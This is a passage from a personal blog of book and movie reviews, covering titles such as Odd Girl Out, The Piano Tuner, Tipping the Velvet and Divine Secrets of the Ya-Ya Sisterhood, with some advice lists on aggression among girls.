It follows the book perfectly. I couldn’t remember if I saw the movie first or read the book first, either way it doesn’t matter since they are identical. I liked it as much as I like the book, plus Angelina Jolie is in it and that is enough for me.

update: since reading the book/watching the movie and writing this review, I’ve wondered more about some of the concepts in the movie. Mainly because of another movie that I recently watched about a girl that has to go to a convent because she got pregnant but is never able to leave. I don’t recall the title at the moment, but it had me rethinking the physical imprisonment of young girls either in any type of institution.

Book Review: Just Checking

Filed under: review, books — suzanne henderson @ 3:39 pm

Just Checking : Scenes from the Life of an Obsessive-Compulsive by Emily Colas

A funny, frightening look at living with Obsessive-Compulsive Disorder. Many parts are quite humorous, until you start considering what it would be like to have to live with OCD yourself. Then it starts to creep under your skin a little. The author did a wonderful job of tying in little stories and transitions to keep the story moving and give a partial glimpse of what living with this disorder is like.

It’s a short book and certainly worth reading.

Book Review: Not Much Just Chillin’: The Hidden Lives of Middle Schoolers

Filed under: review, books — suzanne henderson @ 3:25 pm

book by Linda Perlstein

Rachel Simmons, author of Odd Girl Out: The Hidden Culture of Aggression in Girls says:

“Linda Perlstein has managed to embed herself in the lives of minds of middle schoolers, thoroughly capturing the major issues and the minutiae that govern the course of these crucial years. A terrific read for parents and other adults who need to navigate along with them.”
That is an impressive review from an author I highly regard. However, I haven’t found this book to be worth reading at all. Perhaps if you are a concerned parent with no clue or remembrance for what middle school was like, then take the many days and evenings to trudge through this novel. It moves slowly, very slowly, and while it tries to pulll you into the minds of a typical middle schooler, it still leaves you watching from the outside, the sidelines, the parental position that you are already at.

The first fault I found was the classification of the school, Wilde Lake in Columbia, MD, to be a little too over dramatized. It’s a suburban school in a typically white, upper-middle and upper class neighborhood. Columbia, MD. This isn’t your typical urban or suburban school. However, to be over generalizing and stereotypical, concerned parents and adults interested in issues about middle school development will probably be from neighborhoods and school settings much like this one.

Second fault, it is a slow read. The intro to students personalities is dull and indicate that the author really didn’t do her research on what middle school kids are like on a social and cultural level. Instead, she’s spooning out adult-centered information that further alienates parents that are already struggling with their children’s personal interests.

I’ve only read two chapters, so maybe the book gets better. However, it’s gonna take me a while to finish it since I’ve got several other more interestesting novels waiting for me to read.

Update: I tried very hard to get through more of the book but I couldn’t. There was no way to build up enough momentum to continue turning the pages. Parents of middle schoolers are often desperate to find some way to reach their children that seem to be slipping away from them — for these parents, the last thing they need to do is waste their time trying to fight through this books in hopes for some great insight into the child’s life. There are other books out there that can open plenty of doors for them in a much less painful way (along with many other resources including their own children).

October 2, 2003

Book Review: Plain Living

Filed under: review, books — suzanne henderson @ 3:38 pm

by Catherine Whitmire

Great collection of quotes and tidbits of insight on various concepts of simple living and clearness. Good food for thought and meditation. If you need some centering in your life and direction on questions you should be asking, it’s a good place to start.

There are soft references to Quaker living and concepts. However, it has very open ended questions and thoughts that anyone can find useful.

Book/Movie Review: Divine Secrets of the Ya-Ya Sisterhood

Filed under: movies, review, books — suzanne henderson @ 3:01 pm

the [book]:

fiction by Rebecca Wells

Wonderful book about mothers, daughters, friends, childhood, and southern tradition. The author does an excellent job of flipping between present and past, different characters, and situations. It is tied together beautifully and well rounded at the end.

I was laughing and crying at the same time. Definitely a stereotypical chic story and a damn good one at that.

the [movie]:

Terrible! Awful! Please, please don’t see this movie, certainly don’t see it if you’ve read the book. The movie doesn’t even come close to pulling through the strong emotions and connections from the book. The Sisterhood needs more than 116 minutes to truly unfold. The producers completely butchered the story and wasted everyone’s time by making this film.

Book Review: The Piano Tuner

Filed under: review, books — suzanne henderson @ 2:57 pm

fiction novel by Daniel Mason

In short: Historical fiction set in 1886 and around a British man heading off to the nether regions of Burma to tune some crazy man’s piano.

Beautiful imagery throughout this book. All of the descriptions come alive and dance before you. You can smell the spices and curries and you can almost feel the seasons pass. I was stunned by the descriptive detail within this book. I devoured every word until at last there was nothing else. My senses ran on high for two days, I was still recalling morsels of beauty from the text.

And then I started to think about the book. There was nothing in this book, no plot, no structure, nothing to really classify it as a story even. Had I written this for a class project, I would have gotten wonderful smiles from the imagery, but an F since it lacked any real content.

That being said, it has great potential for a good story. But too many corners are cut and the end gets rushed into a fray of loose ends. Seemed like Mason just ran out of time and turned in whatever manuscript he had finished at the time. Instead of ending where he did, he could have pulled through and produced an outstanding novel.

October 25, 2002

Book Review: Tipping The Velvet

Filed under: review, books — suzanne henderson @ 2:53 pm

Fiction novel by Sarah Waters

Sarah Waters creates a wonderful novel exploring a young girl’s fancy of women in the late 1800’s. Young Nancy Astley is swept away from her oyster serving family by a music hall masher, Kitty Butler. Tipping the Velvet follows her struggles as she struggles to hide her identity and eventually finds acceptance as a tom.

The historical richness is expertly paired with the passionate encounters to make this novel a success. Once I started reading, I could hardly put it down.

Wondering what ‘tipping the velvet’ means? Something that would prolly happen between a girl and her female lover at some point. Don’t think I need to be any more specific than that.

October 22, 2002

Book Review: Odd Girl Out

Filed under: review, books — suzanne henderson @ 3:21 pm

Non-fiction book by Rachel Simmons

Rachel Simmons has tackled the unspoken aggression in girls. Labeled alternative aggression, Simmons displays case after case of the ways girls use exclusion, threats of losing friendship, and undetected aggression.

Any woman that has experienced this hidden aggression will find this book to be a vivid reminder of everything that has ever been do to or done by girls growing up. Simmons focuses on how girls maintain damaging relationships, use group support when in conflict, silently attack other girls with body language, and float below the parent-teacher radar.

For parents and educators unfamiliar with this type of aggression, Odd Girl Out gives specific examples of cruelty and the devastating effects it can have.

The only downside to the book is the extensive examples included. As a adult woman who has experience these alternative aggressions first hand, I didn’t need the page after page description of other girls problems. But for anyone trying to understand or first realizing this is a problem, Rachel Simmons provides a wealth of information to dive into.

Some key points that jumped out at me were:

Alternative aggression is just as damaging as physical violence. In some cases, it may even be worse. There were multiple cases of girls developing serous mental and anxiety problems as a direct result of the cruelty they were facing from other girls. Additionally, our culture has often defined the difficulties girls face as “just a phase” or “social skills” that girls have to deal with. However, Simmons and other researchers are finding this is not the case, alternative aggression is a serious topic.

Parents and teachers need to be aware and carefully watch for these specific types of aggression. It is often consider a silent fight or quiet battle because girls are good at playing the “good girl” in front of teachers and parents, yet still giving mean looks, whispering about a girl to their friends, spreading rumors, and writing mean notes. There is rarely any physical or definitive evidence that something is happening.

One reason there is this type of aggression in girls is because they are given conflicting messages about how they are supposed to act. In a society that tells girls that they can be anyone they want to be, they are still faced with the views that they should be quiet and well mannered. This conflict of expectations makes t difficult for them to discover ways to resolve conflicts and deal with anger.

Some things parents, teachers, and girls can do to deal with alternative aggression:

Parents need to:
- actively listen
- ask about your daughters day everyday.
- get the facts about any problems
- help plan out strategies for dealing with aggression
- switch school (if possible, it has shown to help several cases)
- or enter into a new after-school activity
- talk with teacher, guidance counselors, and school officials
- do this after doing everything else you can to solve the problem, not as a first solution
- let your daughter know that you are aware of the way girls can be mean
- sympathize and don’t downgrade the situation

Teachers need to:
- keep aware of possible aggression in the classroom
- explain aggression and what types are not acceptable (include alternative aggression)
- check out The Ophelia Project
- check out The Empower Program

Girls neet to:
- have open/honest talks with their friends about how to deal with anger
- get help, talk to someone
- get rid of the friend (this is harder than it sounds)
- find a new activity
- know that it will end

This book goes into the social and economic differences of aggression in girls. It also discusses way to deal with aggression as it is happening. The list above is a vague generalization; please pick up the book to get a better understanding of the best way to deal with this problem.

I suggest any educator or parent of young girls pick up this book and read through it. The hidden aggression in girls is a powerful force in a girl’s childhood and has long-term effects on life. It is about time that someone decided to tackle this issue and raise awareness about it.

October 4, 2002

Book Review: Cat’s Eyes

Filed under: review, books — suzanne henderson @ 2:51 pm

Fiction Novel by Margaret Atwood

[Cat’s Eyes] follows the main character’s transition from child to woman. Atwood describes the cruelty between girls with acurate detail. When discussing this book for a college lit class, the women in the room readily confirmed the actions between Elaine and her “friends.” Atwood has been caled a feminist writer, but I do not see that portrayed in this novel. For me, Cat’s Eyes is a portrayal of a girls struggle through childhood and coming to terms with feminism as a woman.

Rachel Simmons includes an excerpt from Cat’s Eye in her non-fiction book: [Odd Girl Out: The Hidden Culture of Aggression in Girls]